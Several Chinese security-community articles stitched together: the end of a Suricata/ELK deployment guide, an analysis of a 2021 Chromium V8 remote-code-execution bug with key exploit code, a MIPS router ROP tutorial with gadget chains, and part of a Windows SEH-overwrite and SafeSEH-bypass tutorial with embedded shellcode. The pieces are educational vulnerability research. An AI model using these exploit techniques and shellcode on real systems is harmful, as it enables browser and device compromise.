if (sp.length == 2) and /\A\d+\z/.match(sp[1])
event.set('[alert][signature]', sp[0])
end
end
"
}
}
if [src_ip] {
geoip {
source => "src_ip"
target => "geoip"
#database => "/opt/logstash/vendor/geoip/GeoLiteCity.dat"
add_field => [ "[geoip][coordinates]", "%{[geoip][longitude]}" ]
add_field => [ "[geoip][coordinates]", "%{[geoip][latitude]}" ]
}
mutate {
convert => [ "[geoip][coordinates]", "float" ]
}
if ![geoip.ip] {
if [dest_ip] {
geoip {
source => "dest_ip"
target => "geoip"
#database => "/opt/logstash/vendor/geoip/GeoLiteCity.dat"
add_field => [ "[geoip][coordinates]", "%{[geoip][longitude]}" ]
add_field => [ "[geoip][coordinates]", "%{[geoip][latitude]}" ]
}
mutate {
convert => [ "[geoip][coordinates]", "float" ]
}
}
}
}
}
#添加ES的hosts
output {
elasticsearch {
hosts => "localhost:9200"
}
}
##### <3> Kibana模板创建
<https://aka.ms/networkwatchersuricatadashboard>
<https://aka.ms/networkwatchersuricatavisualization>
<https://aka.ms/networkwatchersuricatasavedsearch>
在 Kibana 的“Management”（管理）选项卡下，导航到“Saved Objects”（已保存的对象）并导入所有三个文件。
然后，可从“仪表板”选项卡打开并加载示例仪表板。
##### <4> ES数据删除
suricata在内网跑起来后，短短时间就会有大量告警。所以我们得对规则进行优化，某些我们不关心的规则可以禁用掉。禁用掉相关规则后，不会再生成对应的告警。但是ES中已存在的该规则告警该怎么删除呢？我们可以在kibana中直接删除：使用kibana面板中的Dev
Tools。
若删除的告警数量不大，可在kibana的Dev Tools中运行如下语句：
POST logstash-suricata_log-*/_delete_by_query
{
"query": {
"match": {
"alert.signature": "SURICATA STREAM 3way handshake wrong seq wrong ack"
}
}
}
但是若删除的告警数量较多，使用如上的语句删除会报超时错误。这时要通过如下语句进行删除，加上 `wait_for_completion=false`参数：
POST logstash-suricata_log-*/_delete_by_query?wait_for_completion=false
{
"query": {
"match": {
"alert.signature": "SURICATA STREAM bad window update"
}
}
}
执行完毕后会返回个task，可根据这个task参数查询该删除任务的完成状态。
再运行如下语句查看该删除任务的状态，若还未删除完成，则会提示"completed": false，只需等待该删除任务执行完成。若删除完成，则会提示
"completed": true；
`GET _tasks/NQtjLxAaTiig6ZDZ3nK-cw:126846320`
#### 0x07 参考文章
1. [PF_RING学习笔记](https://www.jianshu.com/p/6d3f3cdc2411?from=timeline)
2. [centos6.5下PF_RING安装方法](https://www.cnblogs.com/etangyushan/p/3679662.html)
3. [用PF_RING DNA加速Suricata](https://www.ntop.org/pf_ring/accelerating-suricata-with-pf_ring-dna/)
4. [来自Intel的高性能的正则表达式匹配库——Hyperscan](https://www.jianshu.com/p/0ca3e14c20e8)
5. [Suricata配置文件说明](https://www.cnblogs.com/UnGeek/p/5796934.html)
6. [一种通过PF_RING提高Snort效率的方法](https://laucyun.com/f691f718a412daf7cd2418cfb5596d7d.html)
7. [ES Document APIs : Delete By Query API](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-delete-by-query.html#docs-delete-by-query) | 社区文章 |
# Chromium V8 JavaScript引擎远程代码执行漏洞分析讨论
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：frust@360 Noah Lab
## 0x01-概述
2021年4月13日，安全研究人员[Rajvardhan
Agarwal](https://twitter.com/r4j0x00/status/1381643526010597380)在推特公布了本周第一个远程代码执行（RCE）的0Day漏洞，该漏洞可在当前版本（89.0.4389.114）的谷歌Chrome浏览器上成功触发。Agarwal公布的漏洞，是基于Chromium内核的浏览器中V8
JavaScript引擎的远程代码执行漏洞，同时还发布了该漏洞的[PoC](https://github.com/r4j0x00/exploits/tree/master/chrome-0day)。
2021年4月14日，360高级攻防实验室安全研究员[frust](https://twitter.com/frust93717815)公布了本周第二个[Chromium
0day](https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html)(Issue
1195777)以及Chrome 89.0.4389.114的poc视频验证。该漏洞会影响当前最新版本的Google Chrome
90.0.4430.72，以及Microsoft Edge和其他可能基于Chromium的浏览器。
Chrome浏览器沙盒可以拦截该漏洞。但如果该漏洞与其他漏洞进行组合，就有可能绕过Chrome沙盒。
## 0x02-漏洞PoC
目前四个漏洞[issue
1126249](https://bugs.chromium.org/p/chromium/issues/detail?id=1126249)、[issue
1150649](https://bugs.chromium.org/p/chromium/issues/detail?id=1150649)、issue
1196683、issue
1195777的exp均使用同一绕过缓解措施手法（截至文章发布，后两个issue尚未公开），具体细节可参考[文章](https://faraz.faith/2021-01-07-cve-2020-16040-analysis/)。
基本思路是创建一个数组，然后调用shift函数构造length为-1的数组，从而实现相对任意地址读写。issue 1196683中关键利用代码如下所示。
function foo(a) {
......
if(x==-1) x = 0;
var arr = new Array(x);//---------------------->构造length为-1数组
arr.shift();
......
}
issue 1195777中关键利用代码如下所示：
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//---------------------->构造length为-1数组
arr.shift();
let local_arr = Array(2);
......
}
参考[issue
1126249](https://bugs.chromium.org/p/chromium/issues/detail?id=1126249)和[issue
1150649](https://bugs.chromium.org/p/chromium/issues/detail?id=1150649)中关键poc代码如下所示，其缓解绕过可能使用同一方法。
//1126249
function jit_func(a) {
.....
v5568 = Math.sign(v19229) < 0|0|0 ? 0 : v5568;
let v51206 = new Array(v5568);
v51206.shift();
Array.prototype.unshift.call(v51206);
v51206.shift();
.....
}
//1150649
function jit_func(a, b) {
......
v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);
if (b) {
v56971 = 0;
}
v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
v129341.shift();
v4951241 = {};
v129341.shift();
......
}
国内知名研究员[gengming](https://twitter.com/dmxcsnsbh)和[@dydhh1](https://twitter.com/dydhh1)推特发文将在zer0pwn会议发表议题讲解CVE-2020-1604[0|1]讲过如何绕过缓解机制。本文在此不再赘述。
frust在youtube给出了Chrome89.0.4389.114的poc视频验证；经测试最新版Chrome 90.0.4430.72仍旧存在该漏洞。
您的浏览器不支持video标签
## 0x03-exp关键代码
exp关键代码如下所示。
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;//进行地址泄露
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//
arr[0] = 0x1122;//修改数组长度
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
通过代码Array(Math.sign(0 – Math.max(0, x,
-1)))创建一个length为-1的数组，然后使用LeakArrayBuffer构造内存布局，将相对读写布局成绝对读写。
这里需要说明的是，由于chrome80以上版本启用了地址压缩，地址高4个字节，可以在构造的array后面的固定偏移找到。
先将corrupt_buffer的地址泄露，然后如下计算地址
(corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
可以计算出高4字节。
同时结合0x02步骤中实现的相对读写和对象泄露，可实现绝对地址读写。@r4j0x00在issue
1196683中构造length为-1数组后，则通过伪造对象实现任意地址读写。
之后，由于WASM内存具有RWX权限，因此可以将shellcode拷贝到WASM所在内存，实现任意代码执行。
具体细节参考[exp](https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html)。
该漏洞目前已[修复](https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc#953)。
## 0x04-小结
严格来说，此次研究人员公开的两个漏洞并非0day，相关漏洞在最新的V8版本中已修复，但在公开时并未merge到最新版chrome中。由于Chrome自身拥有沙箱保护，该漏洞在沙箱内无法被成功利用，一般情况下，仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。但是，其他不少基于v8等组件的app（包括安卓），尤其是未开启沙箱保护的软件，仍具有潜在安全风险。
漏洞修复和应用代码修复之间的窗口期为攻击者提供了可乘之机。Chrome尚且如此，其他依赖v8等组件的APP更不必说，使用1 day甚至 N day即可实现0
day效果。这也为我们敲响警钟，不仅仅是安全研究，作为应用开发者，也应当关注组件漏洞并及时修复，避免攻击者趁虚而入。
我们在此也敦促各大软件厂商、终端用户、监管机构等及时采取更新、防范措施；使用Chrome的用户需及时更新，使用其他Chrome内核浏览器的用户则需要提高安全意识，防范攻击。
## 参考链接
<https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc>
<https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=476971>
<https://bugs.chromium.org/p/chromium/issues/detail?id=1150649>
<https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=465645>
<https://bugs.chromium.org/p/chromium/issues/detail?id=1126249>
<https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html>
<https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js> | 社区文章 |
### 前言
拿到路由器的固件后，第一时间肯定是去运行目标程序，一般是web服务程序。我们可以去 `/etc/init.d/`
找启动文件，或者看看一些有可能的目录。一般来说路由器的程序很少的情况下是可以直接用qemu运行起来的。我们需要做一些修复的工作，本文会介绍一个常用的方法，后面会分析在
`mips uclibc` 中常用的 `rop` 手法。
### 正文
**运行环境修复**
由于路由器运行时会去 nvram中获取配置信息，而我们的qemu中是没有该设备，路由器中的程序可能会因为没法获取配置信息而退出。我们可以使用
`https://github.com/zcutlip/nvram-faker` 配合着设置 `LD_PRELOAD` 环境变量来使用( 类似于一种
`hook` )。如果你的mips交叉编译工具链和它脚本里面的不一样就要修改它的脚本，比如
编译后把 `libnvram-faker.so` 和 `nvram.ini` 放到 `/` 目录，然后使用 `LD_PRELOAD`来加载。即可
sudo chroot . ./qemu-mips-static -E LD_PRELOAD=/libnvram-faker.so /usr/bin/httpd
如果程序还会在其他地方保错，就要自己分析程序，然后根据实际情况，在 `nvram-faker` 增加 `hook代码`
注：
* 要注意目标应用是用的 `glibc` 还是 `uclibc` ,从而选择对应的交叉编译工具链来进行编译。
* 先使用 `firmadyne` 运行看看，然后优先选择 `qemu-system-mips-static`来调试，实在不行用 `qemu-system`
* 如果需要某些静态编译（给生成的Makefile里面增加 `-static` 选项）的程序，建议去 `qemu-system` 编译，交叉编译太麻烦了。
* * *
**MIPS ROP分析**
看了 [Exploiting a MIPS Stack
Overflow](http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/)
做的实验，因为 `tplink`上没有对应版本的固件了。于是只能自己写一个栈溢出的程序，并配合着gdb调试，来模拟整个rop过程。
代码如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void getshell(){
system("sh");
sleep(1);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
printf("%p\n", (int *)write);
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
因为要使用 `qemu-mips-static`
来调试程序，这样就不方便找到libc的基地址。于是在程序运行时把libc中的函数地址打印出来，然后计算基地址，便于我们找到gadgets具体在内存中的位置。然后使用
uclibc的交叉编译工具链来编译。
/home/haclh/router_exploit/cross-compiler-mips/bin/mips-gcc level1.c -o level1
把它扔到一个路由器文件系统目录中，这样就不用单独拷贝它依赖的lib了。
可以看到程序使用了 uClibc，通过查看qemu的maps，找到uClibc的路径
拿到ida中分析找 gadgets.具体可以看上面的那篇文章。找到的gadgets如下。
rop_gad1:
LOAD:00055C60 li $a0, 1
LOAD:00055C64 move $t9, $s1
LOAD:00055C68 jalr $t9 ; sub_55960
LOAD:00055C5C lui $s0, 2
gadg_2
LOAD:0001E20C move $t9, $s1
LOAD:0001E210 lw $ra, 0x28+var_4($sp)
LOAD:0001E214 lw $s2, 0x28+var_8($sp)
LOAD:0001E218 lw $s1, 0x28+var_C($sp)
LOAD:0001E21C lw $s0, 0x28+var_10($sp)
LOAD:0001E220 jr $t9
LOAD:0001E224 addiu $sp, 0x28
rop_gad3:
LOAD:000164C0 addiu $s2, $sp, 0x198+var_180
LOAD:000164C4 move $a2, $v1
LOAD:000164C8 move $t9, $s0
LOAD:000164CC jalr $t9 ; mempcpy
LOAD:000164D0 move $a0, $s2
rop_gad4:
LOAD:000118A4 move $t9, $s2
LOAD:000118A8 jalr $t9
rop的过程，和对应的sp寄存器的值。
sp:0x76fff710
首先进入 rop_gad1， $s1 gadg_2
sp:0x76fff710
进入 gadg_2，这时$s1还是gadg_2， 从内存加载数据到寄存器s1-->sleep, ra--> rop_gad3, $s0--->rop_gad4
sp:0x76fff738
再次进入 gadg_2,s1-->sleep, ra--> rop_gad3, $s0--->rop_gad4
sp:0x76fff760
进入 rop_gad3， 获取栈地址到$s2,跳到 $s0
进入rop_gad4，s2-->0x76fff778 跳进栈中，。。。
**gdb调试的部分截图**
断在函数返回地址被覆盖的时候，使用gdb命令，设置`$pc`寄存器的值，伪造劫持程序流程到 rop_gad1
汇编代码如下
第一次进入rop_gad2
第二次运行到 rop_gad2 时的寄存器状态。
`t9` 指向 `sleep`函数，接下来调用 `sleep(1)` 刷新 `cache`, 便于后面指向 `shellcode`。次数的 `$ra` 为
`rop_gad3`的地址，便于在 `sleep` 返回后继续 `rop` ,获取一个栈的指针到寄存器，便于后面直接跳过去。
进入rop_gad3
进入 rop_gad4,跳到栈上执行shellcode
分析完毕。
### 总结
修复环境要注意使用的gcc,
必要时自己跟踪，逆向代码，修复运行环境。看了几篇mips漏洞利用的文章，rop的思路就是上面的思路，估计那就是通用思路吧，记录下来，以备不时只需。调rop的过程还是有趣的。
参考链接：
<http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/> | 社区文章 |
# Windows下漏洞利用——S.E.H深入分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
程序异常处理机制，简称S.E.H. 是Windwos下缓冲区溢出漏洞的一大特色，也是绕过StackCookie的一大杀器，在当年微软WinXP
SP2更新包中紧急推出SafeSEH足以见其威力。作为很多Windows exploit利用的基础技术，SEH的研究对于Win下漏洞研究有着举足轻重的作用。
本文将从最基础的SEH覆盖，到SafeSEH保护机制的绕过，再到最后绕过SafeSEH结合DEP等保护机制，对SEH的利用进行由浅入深的的研究。
## 第一章 S.E.H结构分析
在我们开始调试SEH结构之前，需要做好一些准备工作。
### 1.1 环境配置
本次实验的主要环境是Windows XP /Windows Vista
编译工具为VC++6.0/VS 2010
两个系统下都支持/SafeSEH选项，但是WinXp下没有开启全局DEP和SafeSEH，大部分模块都没有开启保护，所以研究漏洞更容易，我们会从XP入手，最后尝试在Vista下也实现漏洞利用。
**1.1.1调试工具**
安装Windbg/ImmunityDebugger作为调试工具
Windbg是Windows 的经典调试工具，采用命令行操作，功能十分强大，甚至可以调试Windows内核，目前也已经支持Mona插件。
ImmunityDebugger操作非常友好，只需要知道几个快捷键就能调试程序，因为是由python编写，相比OD对于python扩展更加友好，原生支持Mona插件。
Windbg加载符号表
0:040> .sympath SRV*c:Symbols*http://msdl.microsoft.com/download/symbols 0:040> .reload
如果是Windows XP因为微软已经放弃了支持，只能在网络上找别人下好的符号表安装。
**1.1.2 Mona插件**
Mona插件是一个非常强大的插件，能大大加快漏洞利用程序的编写速度，特别是其中ROP字段的检索简直是WIN下漏洞利用的福音。
我们可以在github上下载[mona](https://github.com/corelan/mona)
Immunity Debugger下安装
官方描述的安装方法
> drop mona.py into the ‘PyCommands’ folder (inside the Immunity Debugger
> application folder).
>
> install Python 2.7.14 (or a higher 2.7.xx version) into c:python27, thus
> overwriting the version that was bundled with Immunity. This is needed to
> avoid TLS issues when trying to update mona.
将下载好的mona.py放进 PyCommands目录
将Python2.7.14（或更高版本的2.7.xx）安装到c:python27中，从而覆盖Immunity Debugger 与绑定的版本（python
2.5）。在尝试更新mona时，需要避免tls问题。
WinDBG下安装
需要下载mona.py、windbglib.py 和pykd
可以参考[https://github.com/corelan/windbglib上面的安装方法。](https://github.com/corelan/windbglib%E4%B8%8A%E9%9D%A2%E7%9A%84%E5%AE%89%E8%A3%85%E6%96%B9%E6%B3%95%E3%80%82)
原文引用:
> Windows 7 or 10, 64bit
>
> Download pykd.zip from
> <https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip> and save it
> to a temporary location on your computer
>
> Check the properties of the file and “Unblock” the file if necessary.
>
> Extract the archive. You should get 2 files: pykd.pyd and vcredist_x86.exe
>
> Run vcredist_x86.exe with administrator privileges and accept the default
> values.
>
> Copy pykd.pyd to C:Program Files (x86)Windows Kits8.0Debuggersx86winext or
> C:Program Files (x86)Windows Kits10Debuggersx86winext
>
> Open a command prompt with administrator privileges and run the following
> commands:
1.寻找代码碎片
命令 !py mona findwild -s “执行” -m 模块名
例如`!py mona findwild -s "pop r32"` #寻找pop 任意寄存器 的gadget
2.打印模块信息
`!py mona module`
可以查看加载各个模块开启的安全机制
### 1.2 S.E.H分析
**1.2.1 结构化异常处理机制SEH**
S.E.H的全名为异常处理结构体(Structure Exception
Handler)是Windows特有的一种异常机制。每一个S.E.H包含两个DWORD指针：Next S.E.H Recoder（后文简称next
recoder）和Exception Handler（后文简称SE handler）
S.E.H需要通过try/catch之类的异常处理函数生成，同时S.E.H结构是存放在栈中的（仅32位环境），这也给Win程序的安全留下的隐患。
**1.2.2静态分析**
程序主要由_try{}_catch{}结构构成，在SEH_test()函数中生成一个S.E.H链。
通过除零来产生异常，触发S.E.H结构处理。
案例源码如下
//SEH.cpp
#include "stdafx.h"
#include<stdio.h>;
#include<windows.h>
char shellcode[]="x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";
void MyExceptionhandler()
{
printf("got an exception ,press Enter to kill the process!n");
getchar();
ExitProcess(1);
}
void SEH_test()
{
int zero=0;
char buf[200];
__asm int 0x3;
__try{
printf("In the SEH_test!n");
strcpy(buf,shellcode);
zero=4/zero;
}
__except(MyExceptionhandler()){};
}
int main(int argc, char* argv[])
{
SEH_test();
return 0;
}
使用IDA分析生成的HEX程序
注：这里的关键的几个函数，在IDA中我将名字修改成了与源码中的函数名同步，需要注意的是IDA的逆向是无法恢复原函数名的。
主函数和源码相同，只有一个跳转到SEH_test函数操作。
**1.2.3 S.E.H结构入栈分析**
通过 **push offset __except_handler3** 将处理结构异常函数的地址入栈
**通过** **mov eax, large fs:0** 将上一个S.E.H链的地址入栈
最后将自己的S.E.H链接放入fs:[0]作为链首。
.text:004010F0 ; __unwind { // __except_handler3
.text:004010F0 push ebp
.text:004010F1 mov ebp, esp
.text:004010F3 push 0FFFFFFFFh
.text:004010F5 push offset stru_423060
**.text:004010FA push offset __except_handler3** **//SE handler入栈**
**.text:004010FF mov eax, large fs:0** **//将上一个S.E.H链入栈**
**.text:00401105 push eax**
.text:00401106 mov large fs:0, esp //将这个S.E.H链头放入fs:[0]，作为S.E.H链表的链首
.text:0040110D add esp, 0FFFFFEECh
.text:00401113 push ebx
.text:00401114 push esi
.text:00401115 push edi
.text:00401116 mov [ebp+ms_exc.old_esp], esp
.text:00401119 lea edi, [ebp+var_124]
.text:0040111F mov ecx, 43h
.text:00401124 mov eax, 0CCCCCCCCh
.text:00401129 rep stosd
.text:0040112B mov [ebp+var_1C], 0
.text:00401132 int 3 ; Trap to Debugger
.text:00401133 ; __try { // __except at loc_401176
.text:00401133 mov [ebp+ms_exc.registration.TryLevel], 0
.text:0040113A push offset aInTheSehTest ; "In the SEH_test!n"
.text:0040113F call _printf
.text:00401144 add esp, 4
.text:00401147 push offset byte_428310 ; char *
.text:0040114C lea eax, [ebp+var_E4]
.text:00401152 push eax ; char *
.text:00401153 call _strcpy
.text:00401158 add esp, 8
.text:0040115B mov eax, 4
.text:00401160 cdq
.text:00401161 idiv [ebp+var_1C]
.text:00401164 mov [ebp+var_1C], eax
.text:00401164 ; } // starts at 401133
.text:00401167 mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh
.text:0040116E jmp short loc_401180
.text:00401170 ; ---------------------------------------------------------------------------
.text:00401170
.text:00401170 loc_401170: ; DATA XREF: .rdata:stru_423060↓o
.text:00401170 ; __except filter // owned by 401133
.text:00401170 call j_MyExceptionhandler
.text:00401175 ; ---------------------------------------------------------------------------
.text:00401175 retn
在OD中查看S.E.H结构
在INT 0x3断点，可以发现SEH链接的结构已经被OD添加了注释。
Next指针存放在0x12FF1C，指向0x12FFB0地址空间。
Handler句柄则指向0x4016B0
**1.2.4 S.E.H handler结构分析**
SE handler的结构体名为EXCEPTION_DISPOSITION
MSDN描述的结构如下
EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);
* EstablisherFrame这个存放便是我们S.E.H结构中Next handler的地址。
经过实际调试，我们发现。当程序发生异常，跳转到SE handler指向的地址
EXCEPTION_DISPOSITION结构会入栈，顺序为 _DispatcherContext - >_ContextRecord ->
_EstablisherFrame- >_ExceptionRecord
所以当程序跳转进入S.E.H handler EstablisherFrame位于ESP+8的位置。
程序将这个结构入栈的原因大概是方便在执行完 handler函数之后，如果程序依旧不能解决问题，会进入下一个S.E.H结构，所以会将Next
Recrod的地址入栈帧。
调试截图
覆盖SE handler为0x41414141
覆盖Next record为0x42424242
程序处理异常时，EIP跳转到了0x41414141（SE
handler），而此时ESP+8的位置存储的0x17EE4C（EstablisherFrame）指针指向的数据正是0x42424242（Next
record）
通过调试，不难发现，这个特性同样容易让攻击者利用，一旦进入SE handler，调用POP POP
RET，便能让程序跳转到EstablisherFrame指向的内容，也就是同样可控的Next Record地址。
当然这点在绕过SafeSEH中才会用到，在之后的章节中会进行解析，详见第二章2.3节。
## 第二章 S.E.H的利用
### 2.1 Windows XP SP2之前的利用
**2.1.1 S.E.H结构覆盖**
首先，让我们重新观察这张S.E.H的简化图，有两个要点引起我们的注意。
首先S.E.H是在栈中的也就说有可能被我们写入的数据覆盖。其次Handler指向的是我们的异常处理函数，会造成EIP的跳转（虽然Handler并不直接指向我们的异常处理函数，而是经过多次跳转）。
所以我们就有了最基础的思路—通过覆盖SE handler，然后触发异常（除0），使得程序跳转到我们的shellcode，和经典栈溢出如出一辙，岂不美哉。
**2.1.2测试案例**
在OD中在View中可以直接查看S.E.H
chains（S.E.H链），可以看到我们的程序的S.E.H链存在三个结点。我们要覆盖的是位于0x12ff1c的S.E.H结构。
生成pattern用例
0xD8*”A”+EIP
从buf首地址到S.E.H结构中间存在0xD4（212）字节的空间，将我们的shellcode地址设置在212字节中，多余的空间用0x90填充。我们的目标是覆盖SE
handler（距离首地址0xD8个字节）为我们的shellcode地址/buf的首地址。
调试方面的问题
覆盖S.E.H成功。通过OD的S.E.H链查看器发现链已经成功被覆盖为了Shellocde的首地址。
程序调试卡在IDIV处。提示整数除以0异常，使用Shift+F9继续运行。（当然啦，可以在Debug Options中选择忽略这个异常，OD就不会中断了）
但是覆盖SE handler为栈地址，提示应用程序无法处理异常。无论怎么调试都无法成功。
后来发现覆盖0x41414141甚至都可以成功让EIP跳转，但是偏偏栈地址不行。Windows
SP0应该是没有开启SafeSEH的，所以这里是这次实验的一个疑点。一般来说，Shellocde已经被执行了。
甚至可以修改覆盖Handler使得程序跳转到printf函数，重新输出一次In the SEH_test!
案例代码如下
#include "stdafx.h"
#include<stdio.h>
#include<windows.h>
char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90"
"x3Cx11x40x00"; //跳转到0x40113C
void MyExceptionhandler()
{
printf("got an exception ,press Enter to kill the process!n");
getchar();
ExitProcess(1);
}
void SEH_test()
{
char buf[200];
int zero=0;
//__asm int 0x3;
__try{
printf("In the S.E.H_test!n");
strcpy(buf,shellcode);
zero=4/zero;
}
__except(MyExceptionhandler()){};
}
int main(int argc, char* argv[])
{
S.E.H_test();
return 0;
}
在这里提供一种思路—使用“JMP/CALL寄存器”跳转
如何寻找指令碎片
在OD调试界面右键-选择模块-kernel32，右键-搜索所有指令（Ctrl+F）
因为我们的编写的程序体量比较小，很多代码碎片都搜索不到。所以我们直接在kernel32中找，因为WinXP下并没有开启ASLR，所以kernel的基地址是不会变化的。
重新布置Shellcode，— 一种错误的布置
将CALL EBP指令布置在SE handler，将shellcode布置在SE
handler+8的位置，因为EBP正好指向这个位置。所以如果触发异常，程序就会执行CALL EBP，使得程序跳转执行shellcode。
用例pattern为`0xD8*”x90”+Call_esp+8*”x90”+shellcode`
这种情况，没有考虑在触发SEH时候，栈帧也会变化，导致失效。
虽然我们没有成功执行shellcode，不过我们还是可以通过覆盖SE handler成功修改程序执行流程。
经过上面的调试，我们已经知道了覆盖SE
handler使得程序跳转的思路。并且知道了上古windows下是如何利用S.E.H覆盖的。虽然没有成功执行shellcode，不过成功使得程序的流程做出了改变。
（至于具体原因，可能是我的Windows XP版本的问题，虽然没有写是SP几的版本，但是在2019年要找到一个纯净版的windows xp的确非常困难）
到目前，这种S.E.H的利用方法，在目前的系统中已经失效了。
在WindowsXP SP2中引入了SafeSEH，对传统的S.E.H覆盖进行了检查，导致这种利用手法的失效。
**2.2 Windows XP SP2后的SEH [SafeSEH]**
SafeSEH，也就是俗称的软件DEP。是微软在Windows XP
SP2引入的一个S.E.H校验机制。其原理非常好理解。就是对S.E.H行为做检测，主要有如下两个检测
（1）检查异常处理链是否位于当前程序中，如果不在当前栈中，程序将中止异常处理函数的调用。
（2）检查异常处理函数指针是否指向当前程序的栈中。
尤其是第二个检测，几乎就是针对我们覆盖SE handler跳转到栈中shellcode的这种利用手法。不过绕过方式也有很多种，会在下文进行介绍。
SafeSEH可以通过/SafeSEH链接选项，让程序具有SafeSEH功能。
VS中 项目-属性-链接器-命令行 输入/SafeSEH即可
问：如何判断一个程序开启SafeSEH
答：可以使用VS自带的工具dumpbin，在Visual Stdio 2010-Visual Studio Tools-Visual
Stdio兼容工具命令中运行
使用dumpbin /loadconfig 文件路径/文件名 就可以获取PE文件当前是否开启S.E.H
当然这个程序让我想起了Linux下玩PWN经常用的工具 objdump和readelf，功能非常类似，需要的只是时间去适应。
当然还有更简单的方法，使用mona插件的modules功能，可以非常快捷地查询软件加载的各个分别开启了哪些保护，就像gdb的peda插件一样方便。（注：下图与本次实验无关）
执行`!py mona modules`
SafeSEH未开启的情况
使用dumpbin分析，没有提示存在SafeSEH链接
添加了 /SafeSEH 选项之后编译的文件
SafeSEH最终的行为是防止栈执行，所以被称为是软件DEP，但是没有硬件DEP，shellcode还是又可能被执行。
所以在最后一个实验，我们会将硬件DEP也开启，SafeSEH结合DEP，也会大大提高利用难度。我们将会学习使用ROP来绕过软件和硬件的DEP。
当然首先要学习的是如何绕过SafeSEH。
### 2.3 SafeSEH的绕过（基础）
**2.3.1 SafeSEH绕过原理浅析**
通过覆盖NEXT指针和SE handler，使用未开启SafeSEH模块的Gadgets绕过SafeSEH。
PS：因为WindowsXP的kernel模块并没有开启SafeSEH，所以我们可以直接利用Kernel里的gadget
我们需要寻找Gadget的格式为
POP Reg32
POP Reg32
RET
我们要覆盖SE handler使得程序执行这段gadget，最终跳转到shellcode。
**2.3.1向后跳转0x6字节的方案**
如下布置栈帧，注意JMP SHORT 0x6是通过机器码EB 06 90 90（90为NOPs不影响程序执行）实现。
Before OverFlow[ ][ NEXT RECORD ][ SE Handler ][ ]
After OverFlow [ Nop’s ][ JMP SHORT 0x6 ][POP POP RET][ SHELLCODE ]
覆盖SE handler指向一段POP POP RET的Gadgets，当发生程序错误，调用S.E.H会让程序跳转到POP POP
RET指令的位置，当执行到RET的时候，会发现此时ESP正好指向JMP SHORT
0x6，程序执行这个代码，使得EIP向后调转0x6个字节，跳入我们埋在缓冲区后方的shellcode，成功执行代码。
> 问：那么POP POP RET是如何发挥作用的？
>
> 答：在《Exploit编写教程》中这样描述—
>
> 在于S.E.H的Exploit中pop pop ret指令串到底是如何起作用的? 当异常发生时，异常分发器创建自己的栈帧。它会把EH
> Handler成员压入新创的栈帧中(作为函数起始的一部分)在EH结构中有一个域是EstablisherFrame。
>
> 这个域指向异常注册记录 (next SEH)的地址并被压入栈中，当一个例程被调用的时候被压入的这个值都是位于 ESP+8的地方。
>
> 现在如果我们用pop pop ret串的地址覆盖SE Handler: -第一个pop将弹出栈顶的4 bytes
> -接下来的pop继续从栈中弹出4bytes -最后的ret将把此时ESP所指栈顶中的值(next SEH的地址)放到EIP中。
>
> 事实上，next SEH域可以认为是shellcode的第一部分。
在后文中也会给出调试的过程和结果，读者还可以结合下面[这篇文章](https://blog.csdn.net/swartz_lubel/article/details/77921893)理解消化。
